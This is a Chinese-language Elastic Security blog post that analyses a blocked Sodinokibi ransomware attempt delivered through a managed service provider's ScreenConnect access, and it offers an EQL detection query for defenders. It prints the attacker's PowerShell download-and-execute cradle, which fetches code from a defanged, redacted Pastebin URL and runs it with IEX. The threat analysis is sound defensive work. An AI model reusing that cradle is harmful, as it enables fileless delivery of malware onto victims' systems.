David French

勒索软件中断:Sodinokibi 与供应链

了解 Elastic Endpoint Security 基于行为的保护如何阻止对多个端点的定向勒索软件攻击。

阅读 8 分钟活动
Ransomware, interrupted: Sodinokibi and the supply chain

上个月,Elastic Security 保护团队阻止了一起针对我们一位客户(一家 IT 托管服务提供商 (MSP))监控的组织的勒索软件攻击尝试。我们分析了在多个端点上通过 Elastic Endpoint Security 阻止攻击者的进程注入尝试后生成的警报。攻击者通常会在加密并勒索受害者数据之前尝试将恶意代码注入到正在运行的进程中。

我们在本案例中观察到的行为与恶意行为者的报告一致,这些恶意行为者以 MSP 为目标,以便在企业范围内部署勒索软件。通过滥用 MSP 与其客户之间的信任关系,这种性质的攻击会扩大影响范围,能够使小型企业瘫痪,干扰交通运输,甚至扰乱关键的市政公共服务。

请务必注意,在本案例中,攻击者通过另一个非 Elastic Security 客户的 MSP 访问了目标环境 — 我们没有关于该环境或其可能如何受到攻击的具体详细信息。

在本文中,我们将讨论我们观察到并阻止的恶意行为、为什么这种攻击在野外经常成功,以及您可以采取哪些措施来降低这种类型攻击在您企业中的有效性。

Elastic Security Intelligence and Analytics 是 Elastic Security Engineering 中的一个团队,它利用参与客户的匿名安全遥测数据来跟踪威胁和改进产品,其功能包括收集警报元数据。通过监控影响多个客户的事件模式,我们能够做出时间敏感的决策,从而提高我们缓解新出现的威胁或向社区提供基本信息的能力。

阻止恶意进程注入

最早的入侵证据是在阻止多次 进程注入 尝试时检测到的。进程注入可用于在正在运行的进程的地址空间中执行代码。攻击者通常会执行此技术,以尝试避免被安全产品检测到,或者在以更高的完整性级别运行的进程中运行其恶意代码,以提升其特权。

分析进程注入警报确定,PowerShell(一个强大的本机脚本框架)被用于尝试将 shellcode 注入自身 — 这通常是恶意行为。powershell.exe 进程是作为 ScreenConnect.WindowsClient.exe(远程桌面支持应用程序)的后代创建的。这种类型的软件用于允许 IT 管理员连接到远程计算机并为最终用户提供支持,但是此类应用程序经常被攻击者滥用 — 这是一种称为“借用环境”的策略。

下图描述了 Resolver™(我们的可视化工具,用于显示与攻击相关的事件)中与此案例相关的异常进程沿袭。

请注意,cmd.exe 和 powershell.exe 都是 ScreenConnect.WindowsClient.exe 进程的后代。考虑到它们执行恶意命令或脚本的能力,这是可疑的,但单独来看,这并不一定表示恶意活动。对您的环境进行基线分析并了解企业中正常的进程关系对于搜索、检测或响应恶意行为至关重要。

在本案例中,审查进程及其命令行参数显示,攻击者利用 ScreenConnect 远程桌面软件连接并将批处理文件复制到目标端点。审查 Resolver™ 中的一个 cmd.exe 进程显示,该批处理文件包含随后执行的 Base64 编码的 PowerShell 脚本。

使用 EQL 检测和阻止不需要的行为

虽然 Elastic Endpoint Security 保护的这个潜在目标避免了代价高昂的勒索软件爆发,但许多 MSP 仍在努力应对这种方法。这个攻击者明白,服务提供商通常与其客户具有隐式信任,这使得各种提供商都具有价值。

一旦攻击者获得了对其目标环境的初始访问权限,他们通常会像本案例中看到的那样,寻找并滥用隐式信任关系。受害组织信任其 MSP 通过远程桌面支持应用程序从其环境进行的连接,这引入了 供应链攻击 的风险。

在考虑如何监控和防御这些信任关系时,重点关注从受信任方连接到您的网络的应用程序是一个很好的起点。将 ScreenConnect 的后代进程列入黑名单可能不是防止此恶意行为的可行解决方案,因为这可能会阻止合法的支持人员发挥作用。但是,安全监控团队可能会认为 ScreenConnect 的使用网络的后代进程是可疑的,并且希望检测并阻止该行为。这可以使用 Elastic 的事件查询语言 (EQL) 来实现,并且是开发环境意识的通用方法。

以下 EQL 查询搜索使用进程的唯一进程 ID (PID) 链接在一起的两个事件序列。第一个事件查找作为 ScreenConnect*.exe 后代的进程。第二个事件查找来自后代进程的网络活动。可以轻松扩展此查询以包括其他远程访问软件或筛选您环境中预期的活动。

sequence by unique_pid
  [process where descendant of [process where process_name == "ScreenConnect*.exe"]]
  [network where true]

通过 Elastic Endpoint Security,还可以配置 Reflex 响应操作,这是客户实施自己的自定义阻止规则的一种方式。例如,我们可以在后代进程建立网络连接时将其终止,这将阻止下载其他恶意代码或进行命令和控制活动。

Elastic Endpoint Security 随附数百个我们自己的基于行为的分析,其中包括检测和阻止涉及第三方管理工具或 Windows、MacOS 或 Linux 操作系统本地二进制文件的异常进程关系的方法。

攻击者战术分析

执行的 PowerShell 脚本在利用 .NET WebClient 类从 Pastebin 下载内容并使用 Invoke-Expression (IEX) cmdlet 执行代码之前,检查了处理器架构。这是攻击者通过 PowerShell 下载和执行代码的一种常用技术。

Pastebin 是一种纯文本托管和共享服务,合法用户经常在其中共享代码片段。但是,恶意行为者会利用 Pastebin 和类似网站来存储恶意代码或发布泄露的凭据。

If ($ENV:PROCESSOR_ARCHITECTURE  - contains 'AMD64')  {
    Start - Process  - FilePath "$Env:WINDIR\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"  - argument "IEX ((new-object net.webclient).downloadstring('https://pastebin[.]com/raw/[REDACTED]'));Invoke-LJJJIWVSRIMKPOD;Start-Sleep -s 1000000;"
} else {
    IEX ((new - object net.webclient).downloadstring('https://pastebin[.]com/raw/[REDACTED]'));
    Invoke - LJJJIWVSRIMKPOD;
    Start - Sleep  - s 1000000;
}

从 pastebin.com 下载 content1 的 PowerShell 脚本

由于端点上发生的磁盘活动为零或最少,因此此行为通常被归类为无文件或内存攻击。当 Elastic Endpoint Security 代理检测到无文件攻击时,它会自动收集并提取暂存的注入代码和字符串。此功能确保我们完全了解正在阻止的行为。

VirusTotal 中搜索一些收集到的字符串,浮现出 Sodinokibi 勒索软件家族的几个样本。

以下特定工具标记和行为表明,此活动与 BleepingComputerCynet 报告的执行 Sodinokibi 或 Gandcrab 勒索软件样本的情况一致。

  • 恶意行为者利用 ScreenConnect 远程桌面支持软件,从被入侵的 MSP 连接到目标企业。
  • ScreenConnect 被用来将一个批处理脚本复制到端点,该脚本包含一个 PowerShell 脚本,用于从 Pastebin 下载并注入恶意代码。
  • 该 PowerShell 脚本包含 cmdlet 和字符串(例如,Invoke-LJJJIWVSRIMKPOD 和 Start-Sleep),这些在其他 Sodinokibi 勒索软件攻击活动中也观察到过。
  • 从注入的线程中收集的字符串与过去 24 小时内提交到 VirusTotal 的 Sodinokibi 勒索软件样本一致。

在阻止攻击者尝试自我注入 shellcode 并执行勒索软件后,他们对初始端点的攻击停止了。在 15 分钟后,攻击者返回并尝试在另外五个端点上执行相同的程序,然后放弃。他们所有部署勒索软件的尝试都被阻止了。

结论

在这篇文章中,我们讨论了一个恶意行为者滥用 MSP 与其客户之间信任关系的真实案例,并试图部署勒索软件。这突显了理解您的组织与第三方之间的关系以及这些连接被滥用时潜在影响的重要性。

分析警报显示,攻击者通过远程桌面支持软件连接到客户的环境,并执行了一个恶意脚本,其目的是下载、注入和执行勒索软件。攻击者的所有尝试都被阻止了。

此案例还证明了采用分层安全方法以及检测和阻止攻击者行为和无文件攻击的重要性。我们剖析了攻击者的程序,并展示了如何使用 EQL 和 Reflex 来创建自定义规则和响应。

仅查找恶意文件是不够的;Elastic Endpoint Security 针对勒索软件、无文件攻击、网络钓鱼、漏洞利用和攻击者行为提供了多层基于行为的保护。

EQL 支持正在添加到 Elasticsearch 中.

1 — 该内容已被其创建者或 Pastebin 工作人员从 Pastebin 中删除